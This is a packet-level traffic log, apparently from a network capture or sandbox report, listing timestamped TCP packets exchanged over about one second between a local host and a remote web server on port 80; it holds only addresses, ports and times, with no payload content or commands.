Dec 17, 2024 08:03:48.661091089 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.661130905 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.661168098 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.662544966 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.662604094 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.662632942 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.663039923 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.664045095 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.664154053 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.664201975 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.665527105 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.665575027 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.665612936 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.665653944 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.667200089 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.667248011 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.667309046 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.667359114 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.668582916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.668628931 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.668744087 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.668785095 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.670125008 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.670171976 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.670233965 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.670275927 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.671679020 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.671902895 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.671950102 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.673125029 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.673173904 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.673206091 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.673252106 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.674689054 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.674736023 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.674773932 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.674818993 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.676100016 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.676208019 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.676255941 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.677577019 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.677627087 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.677649975 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.677694082 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.679094076 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.679141998 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.679219007 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.679265976 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.680599928 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.680718899 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.680764914 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.682076931 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.682147026 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.682193995 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.682236910 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.683595896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.683691978 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.683737040 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.685106039 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.685156107 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.685199976 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.685246944 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.686585903 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.686634064 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.686635017 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.686678886 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.688117027 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.688241959 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.688287973 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.689682007 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.689732075 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.689738989 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.689783096 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.691071987 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.694757938 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.797712088 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.797854900 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.797934055 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.798252106 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.798312902 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.798350096 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.798404932 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.799352884 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.799463034 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.799520016 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.800427914 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.800488949 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.800525904 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.800575018 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.801552057 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.801601887 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.801634073 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.801676035 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.802664995 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.802721977 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.802793026 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.802834034 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.804032087 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.804090023 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.804133892 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.804845095 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.804888964 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.804938078 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.804977894 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.805815935 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.805866003 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.805918932 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.805962086 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.806848049 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.806904078 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.806935072 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.806976080 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.807903051 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.807945013 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.807984114 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.808974981 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.809026003 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.809129953 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.809176922 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.809979916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.810067892 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.810120106 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.811208010 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.811409950 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.811460018 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.812222004 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.812271118 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.812319040 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.812369108 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.813019991 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.813062906 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.813186884 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.813225985 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.814559937 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.814604998 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.814754963 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.814805031 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.815427065 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.815464020 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.815506935 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.816095114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.816140890 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.816297054 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.816338062 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.817056894 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.817099094 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.817118883 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.817156076 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.818032026 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.818074942 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.818128109 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.818171978 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.819060087 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.819108963 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.819155931 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.819252968 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.820065975 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.820164919 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.820219994 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.821068048 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.821118116 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.821162939 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.821204901 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.822105885 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.822160959 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.822190046 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.822231054 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.823065996 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.823167086 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.823210955 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.824063063 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.824111938 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.824184895 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.824229002 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.825120926 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.825218916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.825370073 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.826097965 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.826126099 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.826149940 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.826189041 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.826230049 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.827111959 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.827194929 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.827241898 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.828105927 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.828172922 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.828222990 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.828269958 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.829116106 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.829164028 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.829236984 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.829277039 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.830099106 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.830143929 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.830275059 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.830324888 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.831150055 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.831325054 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.831368923 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.832135916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.832184076 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.832261086 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.832305908 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.833128929 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.833175898 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.833239079 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.833276987 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.834177017 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.834223986 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.834252119 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.834295988 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.835165977 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.835216999 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.835256100 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.835297108 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.836183071 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.836287022 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.836327076 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.837188005 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.837229967 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.837275982 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.837316990 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.838232994 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.838289976 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.838327885 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.838366985 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.839309931 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.839431047 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.839471102 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.840207100 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.840251923 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.840348005 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.840388060 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.841264009 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.841316938 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.841386080 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.841433048 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.842287064 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.842334986 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.842408895 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.842451096 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.843245983 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.843440056 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.843485117 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.844269037 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.844329119 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.844372988 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.844419956 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.845269918 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.845321894 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.845350027 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.845391989 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.846285105 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.846337080 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.846404076 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.846448898 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.847270966 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.847333908 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.847363949 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.847403049 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.848237991 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.848303080 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.848351002 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.848400116 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.849282026 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.849381924 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.849431992 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.850291014 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.850341082 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.850408077 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.850452900 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.851207972 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.851254940 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.989476919 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.989546061 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.989605904 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.989923000 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.989976883 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.990034103 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.990081072 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.990720987 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.990839958 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.990886927 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.991784096 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.991832972 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.991930962 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.991976023 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.992889881 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.992939949 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.993014097 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.993056059 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.993958950 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.994004011 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.994081020 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.994123936 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.995107889 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.995209932 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.995254993 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.996164083 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.996217966 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.996229887 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.996284008 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.997093916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.997107029 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.997132063 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.997154951 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.997757912 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.997844934 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.997885942 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.998775959 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.998817921 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.998888016 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.998925924 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.999778986 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.999898911 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.999941111 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.000785112 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.000827074 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.000855923 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.000894070 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.002077103 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.002089024 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.002115011 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.002130985 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.002835035 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.003011942 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.003051043 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.003856897 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.003901958 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.003971100 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.004014969 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.004832029 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.004873037 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.004923105 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.004964113 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.005821943 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.005870104 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.005933046 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.005968094 CET	49920	80	192.168.2.5	31.41.244.11
